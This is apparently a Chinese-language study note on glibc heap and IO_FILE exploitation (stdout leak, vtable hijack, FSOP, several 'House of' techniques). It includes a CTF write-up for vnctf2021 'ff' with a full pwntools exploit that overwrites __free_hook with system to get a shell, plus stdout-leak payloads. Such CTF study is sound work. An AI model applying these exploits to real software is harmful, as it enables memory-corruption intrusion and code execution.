__xsputn = 0x7ffff7a861f0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a85ed0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a854d0 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a88a10 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a85440 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a85380 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a7a190 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a861b0 <__GI__IO_file_read>,
__write = 0x7ffff7a85b80 <_IO_new_file_write>,
__seek = 0x7ffff7a85980 <__GI__IO_file_seek>,
__close = 0x7ffff7a85350 <__GI__IO_file_close>,
__stat = 0x7ffff7a85b70 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a89b00 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a89b10 <_IO_default_imbue>
}

fileno 劫持

这个利用比较局限,一般在有“open”的程序中使用

利用的原理很简单,通过上面的分析,我们可以看到 fileno 的值就是文件描述符,位于 stdin 文件结构开头0x70偏移处,在漏洞利用中可以通过 修改 stdin 的 fileno 值来重定位需要读取的文件 (原本是“0”,从标准输入中读取,现在改为“fd”,从目标文件中读取),接下来类似于 read 之类的函数都会从目标文件中进行读取(修改为“flag”的描述符,就可以读取“flag”)

IO_2_1_stdout leak

可以在没有打印模块的情况下 leak libc_base,通常与 house of roman 结合

这个攻击需要用到结构体 _IO_FILE

1
2
3
4
5
6
7
8
9
10
11
12
struct _IO_FILE {
int _flags;
/* 文件标志,简单的说:像puts一类的输入输出函数要想正确的打印信息就需要正确设置该字段 */
char* _IO_read_ptr; /* 始终指向缓冲区中已被用户读走的字符的下一个 */
char* _IO_read_end; /* 指向"读缓冲区"的末尾 */
char* _IO_read_base; /* 指向"读缓冲区" */
char* _IO_write_base; /* 指向"写缓冲区" */
char* _IO_write_ptr; /* 始终指向缓冲区中已被用户写入的字符的下一个 */
char* _IO_write_end; /* 指向"写缓冲区"的末尾*/
......
......
}

我们一般将堆块分配到 stdout 指针处存储的 _IO_2_1_stdout_ 处:(这里是一个 IO_FILE 结构体)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pwndbg> p stdout 
$1 = (struct _IO_FILE *) 0x7ffff7dd0760 <_IO_2_1_stdout_>
pwndbg> ptype stdout
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base; // 本质上是通过修改这个结构题泄露
char *_IO_write_ptr; // 这两个指针地址之间的内容
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[20];
} *

修改其 _flags 为 “0xfbad1800”(或者“0xfbad3887”),将后面三个read指针置空,将 _IO_write_base 处的第一个字节改为0x58(或者“0”),后面的 _IO_write_ptr_IO_write_end 保持不变(该flags这样设置只是针对puts函数,其余打印函数略有不同)

当程序遇到puts函数时就会打印 _IO_write_base_IO_write_ptr 之间的内容

  • 泄露 _IO_file_jumps 的写法:
1
payload = p64(0xfbad1800)+p64(0)*3+b"\x58"
  • 泄露 _IO_2_1_stdin_ 的写法:
1
payload = p64(0xfbad3887)+p64(0)*3+p8(0)

vtable 劫持

如果程序开了 Full RELRO ,禁用了 hook ,并且没有法控制栈,这时就要考虑 vtable 劫持了

vtable是 _IO_FILE_plus 结构体里的一个字段,是一个函数表指针,里面存储着许多和 IO 相关的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p*(struct _IO_jump_t*)_IO_list_all.vtable
$1 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7e68510 <_IO_new_file_finish>,
__overflow = 0x7ffff7e69320 <_IO_new_file_overflow>,
__underflow = 0x7ffff7e68fc0 <_IO_new_file_underflow>,
__uflow = 0x7ffff7e6a4c0 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7e6bc90 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7e67b20 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7e677a0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7e66d90 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7e6ac30 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e66a60 <_IO_new_file_setbuf>,
__sync = 0x7ffff7e668f0 <_IO_new_file_sync>,
__doallocate = 0x7ffff7e5a600 <__GI__IO_file_doallocate>,
__read = 0x7ffff7e67e50 <__GI__IO_file_read>,
__write = 0x7ffff7e67390 <_IO_new_file_write>,
__seek = 0x7ffff7e66b30 <__GI__IO_file_seek>,
__close = 0x7ffff7e66a50 <__GI__IO_file_close>,
__stat = 0x7ffff7e67370 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7e6be20 <_IO_default_showmanyc>,
__imbue = 0x7ffff7e6be30 <_IO_default_imbue>
}

这个函数表中有19个函数,分别完成IO相关的功能,由IO函数调用,如 fwrite 最终会调用 __write 函数、 fread 会调用 __doallocate 来分配IO缓冲区等

vtable劫持的原理是:如果能够控制 FILE 结构体(一般是控制“stdin”的 _IO_FILE_plus 结构体),实现对 vtable 指针的修改,使得 vtable 指向可控的内存(一般在这片内存的各个区域中,全部写入“one_gadget”),在该内存中构造好 vtable,再通过调用相应IO函数,触发 vtable 函数的调用,即可劫持程序执行流(劫持最关键的点在于修改 _IO_FILE_plus 结构体的 vtable 指针)

1
2
3
4
5
6
7
8
pwndbg> telescope 0x7f754337997d+3
00:00000x7f7543379980 (_IO_2_1_stdin_+160) —▸ 0x7f75433799c0 (_IO_wide_data_0) ◂— 0x0
01:00080x7f7543379988 (_IO_2_1_stdin_+168) ◂— 0x0
... ↓ 2 skipped
04:00200x7f75433799a0 (_IO_2_1_stdin_+192) ◂— 0xffffffff
05:00280x7f75433799a8 (_IO_2_1_stdin_+200) ◂— 0x0
06:00300x7f75433799b0 (_IO_2_1_stdin_+208) ◂— 0x0
07:00380x7f75433799b8 (_IO_2_1_stdin_+216) —▸ 0x7f75433786e0 (_IO_file_jumps) ◂— 0x0 // vtable的位置
1
2
3
4
5
6
7
8
pwndbg> telescope 0x7f754337997d+3
00:00000x7f7543379980 (_IO_2_1_stdin_+160) —▸ 0x7f75433799c0 (_IO_wide_data_0) ◂— 0x0
01:00080x7f7543379988 (_IO_2_1_stdin_+168) ◂— 0x0
... ↓ 2 skipped
04:00200x7f75433799a0 (_IO_2_1_stdin_+192) ◂— 0xffffffff
05:00280x7f75433799a8 (_IO_2_1_stdin_+200) ◂— 0x0
06:00300x7f75433799b0 (_IO_2_1_stdin_+208) ◂— 0x0
07:00380x7f75433799b8 (_IO_2_1_stdin_+216) —▸ 0x562989a57010 ◂— 0x0 // 成功修改

​ // 本文是基于 libc-2.23 及之前的libc上可实施的,libc-2.24 之后加入了 vtable check 机制,无法再构造vtable

FSOP

FSOP( File Stream Oriented Programming ),是一种劫持 _IO_list_all 来伪造文件流对象链表的利用技术,常与 house of orange 连用,通过调用 _IO_flush_all_lockp 函数触发

该函数会在下面三种情况下被调用:

  • 第一,libc 检测到内存错误从而执行 abort 流程时
  • 第二,执行 exit 函数时
  • 第三,main 函数返回时

先分析 _IO_flush_all_lockp 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int _IO_flush_all_lockp ()
{
int result = 0;
struct _IO_FILE *fp;
for (fp = (_IO_FILE *) _IO_list_all; fp; fp = fp->_chain)
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (fp->_vtable_offset == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
return result;
}

在执行 _IO_OVERFLOW 前有两个检查:(通常是采用这个伪造)

  • _mode >= 0
  • _IO_write_base < _IO_write_ptr

而对 _IO_OVERFLOW 的调用是 虚表调用 ,是可以进行劫持的:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> p*(struct _IO_jump_t*)_IO_list_all.vtable
$1 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7e68510 <_IO_new_file_finish>,
__overflow = 0x7ffff7e69320 <_IO_new_file_overflow>, // target
__underflow = 0x7ffff7e68fc0 <_IO_new_file_underflow>,
................
__showmanyc = 0x7ffff7a89b00 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a89b10 <_IO_default_imbue>
}

可见第4片区域就是 __overflow 的虚表,我们可以劫持该虚表为“one_gadget”或者其他需要的函数

利用姿势

一般在pwn题中,我们都是构造内存错误,此时会产生一系列的函数调用路径,最终的调用为:_IO_flush_all_lockp —> _IO_OVERFLOW,而这里的 _IO_OVERFLOW 就是文件流对象虚表的第四项指向的内容 _IO_new_file_overflow

因此我们的利用思路一般是:

  • 要么直接修改文件流对象
  • 要么伪造一个_IO_FILE结构体

版本影响

libc-2.24:多了 vtable check,这就意味着我们不能利用任意地址来充当vtable

libc-2.27:完全失效

vnctf2021 ff 复现

1
2
3
4
5
➜  [/home/ywhkkx/桌面] ./pwn 
1.add
2.del
3.exit
>>
1
2
3
4
5
6
7
8
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1fd4ed1f1e5db9e2f81e26150d0a5b6db56d2261, not stripped

[*] '/home/ywhkkx/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

程序给了 libc 版本:

1
GNU C Library (Ubuntu GLIBC 2.32-0ubuntu3) release release versio

漏洞分析

1
2
3
4
void del()
{
free((void *)chunk_list[idx]); // UAF
}

经典 UAF

入侵思路

程序可以控制的部分太少了,连 free 的参数都不能控制,另外程序是有“打印模块”和“修改模块”的,但是“修改模块”只能使用两次,每次只能改16字节,还没法控制参数,“打印模块”也被法控制,并且只能打印一次

因为只能打印一次,“libc_base”,“chunk_list_addr”,“heap_addr”这些我们想要的数据就只能 leak 一个,我当然是想要 “libc_base” ,但是程序又有限制

因为程序限制 malloc size 的大小,所以 unsortedbin leak 挂了

1
2
3
4
puts("Size:");
size = myRead();
if ( size > 0x7E )
size = 127; // 大小限制

只能泄露“heap_addr”了,在加上“打印模块”的长度不够,所以还需要一些操作:

1
2
3
4
5
6
7
8
9
add(0x20,'a'*0x20)
delete()
show()

p.recvuntil('>>')
leak_addr=u64(p.recvuntil('1')[:-1].ljust(8,'\x00'))
heap_addr=eval(hex(leak_addr)+'0'*3)

success('heap_addr >> '+hex(heap_addr))

只知道“heap_addr”,我的第一反应是打 unlink,但是没有 off-by-one 也打不了,我觉得我止步于此了,但我还是想谈一谈我的想法:

这题没有泄露“libc_base”,大概率是要打 house of roman 爆破libc库函数的,关键就在于这个 size 检查把 unsortedbin 限制了,导致 main_arene 写不进来,当然 house of roman 也没毛用了

没有“libc_base”还有一个解决方式,IO_2_1_stdout leak,这种攻击可以和 house of roman 结合(比如我刚刚复现过的 nepctf2021 sooooeasy),但缺少 main_arene 的核心问题还是没有解决

先挂上大佬的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
#context.log_level = "debug"

p = process([file_path])
libc=ELF('./libc-2.32.so')
elf=ELF(file_path)

def add(size, content=b"1\n"):
p.sendlineafter(">>", "1")
p.sendlineafter("Size:\n", str(size))
p.sendafter("Content:\n", content)

def delete():
p.sendlineafter(">>", "2")

def show():
p.sendlineafter(">>", "3")

def edit(content):
p.sendlineafter(">>", "5")
p.sendafter("Content:\n", content)

stdout = 0xa6c0

while True:
try:
add(0x78)
delete()
show()
heap_base = u64(p.recv(8)) << 12
log.success("heap base is {}".format(hex(heap_base)))

edit(b"\x00"*0x10)
delete()
enc = ((heap_base + 0x2a0) >> 12) ^ (heap_base + 0x10)
edit(p64(enc) + p64(heap_base + 0x10))

add(0x78)
add(0x78, b"\x00"*0x48 + p64(0x0007000000000000))
delete()

add(0x48, p32(0) + p16(2) + p16(0) + p16(1) + p16(0) + p32(0) + b"\x00"*0x38)
add(0x48, b"\x00"*0x40 + p64(heap_base + 0xb0))
delete()

add(0x38, p16(stdout))
add(0x58, p64(0xfdad2887 | 0x1000) + p64(0)*3 + b"\x00")

libc.address = u64(p.recv(8)) - 0x84 - libc.sym['_IO_2_1_stdout_']
log.success("libc address is {}".format(hex(libc.address)))
if(libc.address>0x5000000000000 or libc.address < 0x5000):
print("wrong and continue\n")
continue
break
except:
p.close()
p = process([file_path])

add(0x48, b"\x00"*0x40 + p64(libc.sym['__free_hook'] - 0x10))
add(0x38, b"/bin/sh\x00".ljust(0x10) + p64(libc.sym['system']))
delete()

p.interactive()

经过测试,大佬的 exp 也不是百分之百可以打通的,因为有时候会 leak 异常的 libc_base,所以我修改了一下 exp ,使其可以舍弃掉一些异常的 libc_base

1
2
3
4
5
add(0x78)
delete()
show()
heap_base = u64(p.recv(8)) << 12 # 16进制下填3个0,2进制下填3*4个0
log.success("heap base is {}".format(hex(heap_base)))

大佬的 heap_addr 泄露和我的思路一样,但是比我的简洁多了

1
2
3
4
5
6
7
8
edit(b"\x00"*0x10)
delete() # 释放>>修改FD>>释放(tcache dup,类似于Double free)
enc = ((heap_base + 0x2a0) >> 12) ^ (heap_base + 0x10)
edit(p64(enc) + p64(heap_base + 0x10))
add(0x78)
add(0x78, b"\x00"*0x48 + p64(0x0007000000000000))
# 利用tcache dup申请tcache_perthread_struct
delete()
1
2
3
4
5
6
7
8
pwndbg> x/20xg 0x558b1cfcd000
0x558b1cfcd000: 0x0000000000000000 0x0000000000000291
0x558b1cfcd010: 0x0000000000000000 0x0000000000000000
0x558b1cfcd020: 0x0000000000000000 0x0000000000000000
0x558b1cfcd030: 0x0000000000000000 0x0000000000000000
0x558b1cfcd040: 0x0000000000000000 0x0000000000000000
0x558b1cfcd050: 0x0000000000000000 0x0007000000000000 // 修改count为'7'
0x558b1cfcd060: 0x0000000000000000 0x0000000000000000

delete() 执行之后:

1
2
unsortedbin
all: 0x558b1cfcd000 —▸ 0x7fea097ddc00 (main_arena+96) ◂— 0x558b1cfcd000

大佬果然有办法搞到“main_arena”,这里其实是利用了 tcache 的机制:

  • 当某一个tcache链表满了7个,再有对应的chunk(不属于fastbin的)被free,就直接进入了unsortedbin中
  • tcache_perthread_struct 结构一般在 heapbase+0x10(0x8)的位置,对应tcache的数目是char类型

因为程序没法控制“释放模块”的参数,所以想通过正常手段填满 tache 显然不可能了,但是我们已知 heapbase 的地址,可以通过 tcache dup 来劫持 tcache_perthread_struct,将0x290大小堆块对应的count设置为7,释放后就会把整个 tcache_perthread_struct 放入 unsortedbin(这种攻击模式被称为 tcache perthread corruption)

注意:因为 libc-2.32 新增加的特性:

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

程序会对 tcache->fd 指针的加密(还有这种操作?),所以我们在伪造 FD 的时候也要进行一次相同的加密

接下来申请了两个 chunk 把“heap_base + 0xb0”连接入“tcachebin”

1
2
3
add(0x48, p32(0) + p16(2) + p16(0) + p16(1) + p16(0) + p32(0) + b"\x00"*0x38)
add(0x48, b"\x00"*0x40 + p64(heap_base + 0xb0)) # heap_base+0xb0 to tache
delete()

释放后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> x/20xg 0x558b1cfcd000
0x558b1cfcd000: 0x0000000000000000 0x0000000000000051 // add
0x558b1cfcd010: 0x0001000200000000 0x0000000000000001
0x558b1cfcd020: 0x0000000000000000 0x0000000000000000
0x558b1cfcd030: 0x0000000000000000 0x0000000000000000
0x558b1cfcd040: 0x0000000000000000 0x0000000000000000
0x558b1cfcd050: 0x0000000000000000 0x0000000000000051 // add
0x558b1cfcd060: 0x0000000558b1ce3c 0x0000558b1cfcd010 // delete
0x558b1cfcd070: 0x0000000000000000 0x0000000000000000
0x558b1cfcd080: 0x0000000000000000 0x0000000000000000
0x558b1cfcd090: 0x0000000000000000 0x0000000000000000
0x558b1cfcd0a0: 0x0000558b1cfcd0b0 0x0000558b1cfcd060 // '0x40'的tcache
/* 伪造'0x40'的tcache(带有main_arena) */
0x558b1cfcd0b0: 0x00007fea097ddc00 0x00007fea097ddc00 // '0x60'的tcache
/* 这里曾经是unsortedbin,所以main_arena留下来了 */
0x558b1cfcd0c0: 0x0000000558b1cfcd 0x0000000000000000
0x558b1cfcd0d0: 0x0000000000000000 0x0000000000000000
0x558b1cfcd0e0: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
tcachebins
0x40 [ 2]: 0x558b1cfcd0b0 ◂— 0x7fef51cc13cd
0x50 [ 1]: 0x558b1cfcd060 ◂— 0x1f1 // delete(后面有大用处)
0x60 [ 1]: 0x7fea097ddc00 (main_arena+96) ◂— 0x558ce25c44cd
0x70 [ 0]: 0x7fea097ddc00 (main_arena+96) ◂— ...
0x80 [ 0]: 0x558b1cfcd
0x260 [ 81]: 0x0
0x2a0 [52796]: 0x0
0x2b0 [22705]: 0x0
0x2c0 [ 5]: 0x0
0x2e0 [53264]: 0x0
0x2f0 [7420]: 0x0
0x300 [21899]: 0x0

unsortedbin
all: 0x558b1cfcd0a0 —▸ 0x7fea097ddc00 (main_arena+96) ◂— 0x558b1cfcd0a0

这一块需要先学习 tcache_perthread_struct 结构

下面一段代码需要把两个“add”分开进行理解:

1
2
3
4
add(0x38, p16(stdout))
add(0x58, p64(0xfdad2887 | 0x1000) + p64(0)*3 + b"\x00")
libc.address = u64(p.recv(8)) - 0x84 - libc.sym['_IO_2_1_stdout_']
log.success("libc address is {}".format(hex(libc.address)))

第一次申请后:

1
2
3
4
5
tcachebins
0x40 [ 1]: 0x7f465c72d9cf
0x50 [ 1]: 0x55aa705cf060 ◂— 0x1f1
0x60 [ 1]: 0x7f4306d5a6c0 (_nl_C_LC_CTYPE+64) ◂— 0x7f44f2e09f9a
// 这里将有1/16的概率为 _IO_2_1_stdout_
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/20xg 0x55aa705cf000
0x55aa705cf000: 0x0000000000000000 0x0000000000000051
0x55aa705cf010: 0x0001000100000000 0x0000000000000001
0x55aa705cf020: 0x0000000000000000 0x0000000000000000
0x55aa705cf030: 0x0000000000000000 0x0000000000000000
0x55aa705cf040: 0x0000000000000000 0x0000000000000000
0x55aa705cf050: 0x0000000000000000 0x0000000000000051
0x55aa705cf060: 0x000000055aa7043e 0x000055aa705cf010
0x55aa705cf070: 0x0000000000000000 0x0000000000000000
0x55aa705cf080: 0x0000000000000000 0x0000000000000000
0x55aa705cf090: 0x0000000000000000 0x0000000000000000
0x55aa705cf0a0: 0x00007f465c72d9cf 0x000055aa705cf060 // '0x40'的tcache
0x55aa705cf0b0: 0x00007f4306d5a6c0 0x0000000000000000 // '0x60'的tcache(已覆盖)
0x55aa705cf0c0: 0x000000055aa705cf 0x0000000000000000

这次申请的是“0x40的tcache”(写有“0x60的tcache”),输入的是“0x60的tcache”的位置,下一次如果申请的大小为“0x60”就会把“覆盖后的main_arena”申请出来,进行一次写入

第二次申请,就进行了 IO_2_1_stdout leak,通过修改 _IO_2_1_stdout_ 的 flag 值,然后当程序调用 puts 输出任意信息时,就会输出 _IO_write_base_IO_write_ptr 之间的数据

1
2
3
add(0x48, b"\x00"*0x40 + p64(libc.sym['__free_hook'] - 0x10))
add(0x38, b"/bin/sh\x00".ljust(0x10) + p64(libc.sym['system']))
delete()
1
2
3
4
tcachebins
0x40 [ 1]: 0x7f3e3391980a // 可以继续覆盖为"free_hook"
0x50 [ 1]: 0x561aa040a060 ◂— 0x1f1
0x60 [ 0]: 0x708180b3d
1
2
3
4
5
6
7
8
9
pwndbg> x/20xg 0x561aa040a050
0x561aa040a050: 0x0000000000000000 0x0000000000000051
0x561aa040a060: 0x0000000561aa05fb 0x0000561aa040a010 // will be malloc
0x561aa040a070: 0x0000000000000000 0x0000000000000000
0x561aa040a080: 0x0000000000000000 0x0000000000000000
0x561aa040a090: 0x0000000000000000 0x0000000000000000
0x561aa040a0a0: 0x00007f3e3391980a 0x0000561aa040a060 // '0x40'的tcache
0x561aa040a0b0: 0x0000000708180b3d 0x0000000000000000 // '0x60'的tcache
0x561aa040a0c0: 0x0000000561aa040a 0x0000000000000000

和上面思路一样,打了 free_hook 就结束了(这个heap排列真的值得我学习)


小结:

本题目融合了 tcache perthread corruption,house of roman,IO_2_1_stdout leak,难度有明显上升,因为我之前复现了一道 house of roman 和 IO_2_1_stdout leak 结合的题目,所以爆破这部分比较顺畅

此题目大大加强了我对 tcache 的理解(主要是对“tcache_perthread_struct”的理解),还体验了一波 tcache perthread corruption(刚学tcache时,觉得它的检查很少很简单,现在觉得它的利用也挺麻烦的)

我还学习到了大佬的思路,说实话,大佬对于覆写“tcache_entry”的处理真的让我大开眼界,他对于 unsortedbin 的切割很是讲究,使 main_arena 刚好可以被控制,并且后面“申请tcache”和“覆写main_arena”的配合也是研究过的,没有出现“无main_arena可用”的尴尬(对于 heap 排列,我还是要多多“试错”)

House Of Spirit

House Of Spirit 是一种 fastbin attack ,通过利用 free 函数来释放一个 fake chunk,将地址 free 到堆的 bin 链中,然后实现对栈地址的读写实现WAA

保护检查

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

主要是:当前chunk的size(chunk->size),和下一个chunk的size(nextchunk->size)

利用条件

  • 可以控制 free 的参数,把它改为 fake chunk data addr(House Of Spirit的核心)
  • 可以控制 fake chunk 的 size
  • 可以控制 next chunk 的 size(程序会根据 fake chunk->size 来获取 next chunk 的位置)

利用姿势

现成了两种风格:

  • 释放栈中的 fake chunk,劫持 ret 返回地址(利用栈溢出覆盖free的参数)
  • 释放堆中的 fake chunk,劫持控制模块实现WAA(需要注意chunk结构和off-by-one)

小技巧:

  • 一定要多多关注“可控区域”里的“数字”
  • 注意一些“计数器”

用这些现成的“数字”充当 nextchunk->size 或者 chunk->size

版本影响

libc-2.23:基础检查

libc-2.27:多了一个检查,nextchunk->presize 不为 0(注意 tcache 的影响)


House Of Force

house of force 是修改 top chunk size 的一种利用方法 ,利用 top chunk 分割中的漏洞来申请任意 chunk,再通过修改模块进行 GOT劫持,hook劫持

假设这个时候的 top_chunk=0x601200,然后 malloc(0xffe00020),然后对 malloc 申请的 size 进行检查,0xffe00030 < top_chunk_size ,所以可以成功malloc内存,然后计算top_chunk的新地址:0xffe00030+0x601200=0x100401230, 因为是x86环境,最高位溢出了,所以top_chunk=0x401230

然后下次我们再malloc的时候,返回的地址就是0x401238

保护检查

1
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 

只有 top chunk 的 size 大于等于申请的 size,才会有后续操作

利用条件

  • 用户能够篡改 top chunk 的 size 字段(篡改为负数或很大值)
  • 用户可以申请任意大小的堆内存(包括负数)
  • 堆溢出,用于修改 top chunk->size

利用姿势

  • 通过堆溢出将 top chunk 的 size 字段篡改成 -1(size 就变成了无符号整数中最大的值)
  • 计算偏移,申请大小为该偏移的chunk,把 top chunk 分割到可以修改的目标地址

以下公式可以用来计算偏移:(有时 offse 有偏差也可以进行修正)

1
2
3
offset = target_addr - (top_chunk_addr + 0x8) # 64位就改为"+0x10"
# target_addr:目标地址
# top_chunk_addr:top chunk起始地址

注意:offset 通常为负

版本影响

libc-2.23:基础检查,可以通过

libc-2.27:在检查中给chunk添加了一个“范围”(min_address & max_address),限制了申请chunk的地址范围,这样就导致 top chunk 无法分割到目标地址了,House Of Force 失效


House Of Einherjar

house of einherjar 跟 house of force 差不多,最终目的都是控制 top chunk 的值,该技术可以强制使得malloc返回一个几乎任意地址的 chunk

通过 off-by-one 把最后一个 chunk 的 pre_inuse 标志位置零,让 free 函数以为上一个 chunk 已经被 free,就会进行后向合并,根据 last chunk->fake presize 把 top chunk 合并到目标区域

然后下次我们再malloc的时候,返回的地址就是目标地址

保护检查

Unlink 的检测:检查 “fake chunk->size” (必须可以通过 size 索引到“last chunk”,并且P位为“0”,这样才会进行 unlink),因为“fake_size”(offset)很大,fake chunk 会被当做是 large chunk ,所以还会格外检查 FD,BK,FDsize,BKsize

利用条件

  • 用户能够篡改 top chunk 的 presize 字段(篡改为负数或很大值)
  • 有 off-by-one ,可以覆盖 last chunk 的P位为“\x00”(使其在和 top chunk 合并后还可以进行后向合并,通过“chunk->presize”索引到“fake chunk”把 top chunk 合并到“fake chunk”上)
  • 可以控制“fake chunk”

利用姿势

  • 已有两个 chunk(最后一个chunk,和倒数第二个chunk)
  • 在倒数第二个 chunk 的最后一片内存空间(lastchunk->presize)中写入 offset(可以索引到 fakechunk),同时溢出“\x00”覆盖 lastchunk 的P位(lastchunk->size)
  • 提前在 fake chunk 处伪造好数据:presize(offset),size,FD,BK,FDsize,BKsize
  • 释放 lastchunk,这样 top chunk 就会转移到该地址

以下公式可以用来计算偏移 presize:(有时 offse 有偏差也可以进行修正)

1
2
3
offset = lastchunk_addr - target_addr
# target_addr:目标地址
# lastchunk_addr:last chunk起始地址

小技巧:

  • 控制“fake chunk”,写入“fake_size”,在“FD,BK,FDsize,BKsize”中都写入“fake chunk addr”(target_addr)就可以通过检查(至少在 libc-2.23 是这样的)

版本影响

libc-2.23:基本没有影响,可以通过

libc-2.27:Unlink 对 presize 的检查更为严格了,导致 House Of Einherjar 失效


House Of Lore

House of Lore 攻击与 Glibc 堆管理中的 Small Bin 的机制紧密相关

它的利用面很小,很容易被其他攻击技术取代

  • House of Lore 可以实现 分配 任意指定位置的 chunk,从而修改任意地址的内存
  • House of Lore 利用的前提是需要控制 Small Bin Chunk 的bk指针,并且控制指定位置 chunk 的fd指针

保护检查

1
if (__glibc_unlikely (bck->fd != victim))

检查 fakechunk->FD 是不是 victim_chunk

利用条件

  • 可以构造 small bins(一般程序会用 fastbin,unsortedbin,tcache 很少用smallbin,largebin)
  • 程序可修改 small bins 中 free chunk 的 bk 指针
  • 对应伪造 fake chunk 的区域有一定控制权(可以伪造 fakechunk->FD 为 victim_chunk)

利用姿势

  • 首先申请了一个在 fastbin 范围内的 victim chunk,然后再在栈上构造了一个 fake chunk(fake chunk 为 stack_buffer_1,还需要一个 stack_buffer_2 来打掩护)
  • 为了绕过检测,设置 stack_buffer_1 的 BK 指针指向 stack_buffer_2,设置 stack_buffer_2 的 FD 指针指向 stack_buffer_1
  • 接下来先 malloc 一个chunk,防止 free 之后与 top chunk 合并,然后 free 掉 victim,这时候 victim 会被放到 fastbin 中
  • 接下来再去 malloc 一个 large chunk,会触发 fastbin 的合并,然后放到 unsorted bin 中,这样我们的 victim chunk 就放到了 unsorted bin 中,然后最终被 unsorted bin 分配到 small bin 中
  • 在 victim chunk 的BK指针中写入fake chunk(small bin是基于BK,从后向前申请的)
  • 再次申请 victim chunk(同时 fake chunk 进入small bin),最后申请 fake chunk

版本影响

libc-2.23:基础检查,可以通过

libc-2.27:基础检查,还需要绕过 cache

libc-2.31:House Of Lore 已经失效


House Of Orange

House Of Orange 核心就是通过漏洞利用获得 free 的效果

这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins

后续可以配合 unsorted bin attack 和 FSOP 获取 shell

利用条件

  • 有堆溢出,可以修改 top chunk size
  • 可以申请较大的空间
  • 没有释放模块(看见程序没有 free,realloc等函数时,优先考虑打House Of Orange)

伪造的 top chunk size 的要求 :

  • 0x0fe1、0x1fe1、0x2fe1、0x3fe

利用姿势

  • 通过堆溢出修改 top chunk size为“0x0fe1”
  • 申请“0x2000”的空间

版本影响

libc-2.23:可用打通

libc-2.24:增加了 vtable check,但仍然可以绕过

libc-2.27:完全失效


House Of Rabbit

House Of Rabbit 是一种伪造堆块的技术,一般运用在 fastbin attack 中

  • 缺点:条件过多并且有替代选项(unlink攻击,Double free等等)
  • 优点:对 libc 版本的“抵抗力”很强,高 libc 版本也可以打

核心:利用 fastbin consolidate 使 fastbin 中的 fake chunk 合法化

利用条件

  • 修改fastbin chunk的大小(感觉和unlink条件差不多,效果也差不多)
    • 堆溢出(有时off-by-one也利用),可以覆盖 nextchunk->size
    • 可以申请足够大小的 chunk
    • 可以控制 free 的参数
  • 修改FD指针(这种情况不用考虑,因为可以打 Double free,除非特殊情况)
    • 有修改模块,并且有UAF(可以修改 free chunk)
